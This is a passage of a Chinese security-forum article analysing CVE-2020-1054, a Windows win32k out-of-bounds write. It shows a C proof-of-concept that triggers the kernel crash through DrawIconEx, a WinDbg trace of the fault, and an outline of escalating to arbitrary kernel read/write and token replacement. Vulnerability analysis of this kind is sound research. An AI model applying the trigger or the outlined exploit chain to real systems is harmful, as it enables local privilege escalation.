其他
CVE-2020-1054分析
本文为看雪论坛精华文章
看雪论坛作者ID:与时尽现。
目录
背景
漏洞分析
寻找触发点
控制oob地址
oobTarget公式计算
pStrrun->yPos
pStrrun->xrl->xPos
refpSurface->SurfObj.lDelta
loopCount
控制offset
利用过程
写在析外
背景
漏洞分析
寻找触发点
int main(int argc, char *argv[])
{
LoadLibrary("user32.dll");
HDC r0 = CreateCompatibleDC(0x0);
// CPR's original crash code called CreateCompatibleBitmap as follows
// HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
// however all following calculations/reversing in this blog will
// generally use the below call, unless stated otherwise
// this only matters if you happen to be following along with WinDbg
HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);
SelectObject(r0, r1);
DrawIconEx(r0, 0x0, 0x0, 0x30000010003, 0x0, 0xfffffffffebffffc,
0x0, 0x0, 0x6);
return 0;
}
0: kd> k
# Child-SP RetAddr Call Site
00 fffff880`02bc6bd0 fffff960`0011fce6 win32k!vStrWrite01+0x36a
01 fffff880`02bc6c80 fffff960`00121dd7 win32k!EngStretchBltNew+0x164a
02 fffff880`02bc7210 fffff960`0026914e win32k!EngStretchBlt+0x797
03 fffff880`02bc7340 fffff960`00266b33 win32k!EngStretchBltROP+0x5fe
04 fffff880`02bc7470 fffff960`0026613f win32k!BLTRECORD::bStretch+0x623
05 fffff880`02bc75c0 fffff960`0017d06f win32k!GreStretchBltInternal+0xa37
06 fffff880`02bc7860 fffff960`0017d485 win32k!BltIcon+0x18f
07 fffff880`02bc7910 fffff960`0015693d win32k!DrawIconEx+0x3b1
08 fffff880`02bc79f0 fffff800`03ecee53 win32k!NtUserDrawIconEx+0x14d
09 fffff880`02bc7a70 00000000`74e203da nt!KiSystemServiceCopyEnd+0x13
0a 00000000`001ddb08 00000000`74dff2e0 0x74e203da
0b 00000000`001ddb10 00000000`00000000 0x74dff2e0
0: kd> r
rax=fffff900c3c00000 rbx=0000000000000000 rcx=fffff906c3c00238
rdx=fffff900c0790430 rsi=fffff900c07903a0 rdi=fffff900c07903a8
rip=fffff9600012218a rsp=fffff88002bc6bd0 rbp=0000000000000000
r8=0000000000000020 r9=fffff96000080000 r10=fffff88002bc6c30
r11=0000000000000000 r12=0000000000000001 r13=0000000000000001
r14=fffff906c3c00238 r15=0000000000000000
iopl=0 nv up ei ng nz na po cy
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000287
win32k!vStrWrite01+0x36a:
fffff960`0012218a 418b36 mov esi,dword ptr [r14] ds:002b:fffff906`c3c00238=????????
控制oob地址
oobTarget公式计算
pStrrun->yPos
pStrrun->xrl->xPos
refpSurface->SurfObj.lDelta
loopCount
控制offset
利用过程
获取内核对象地址空间
计算oob地址
在oob地址处放一个bitmap对象
触发漏洞函数,修改bitmap对象的BitmapObj->SurfObj.sizlBitmap,使其越界读写
任意读写,替换token等操作
写在分析外
看雪ID:与时尽现。
https://bbs.pediy.com/user-830989.htm
*本文由看雪论坛 与时尽现。原创,转载请注明来自看雪社区。
推荐文章++++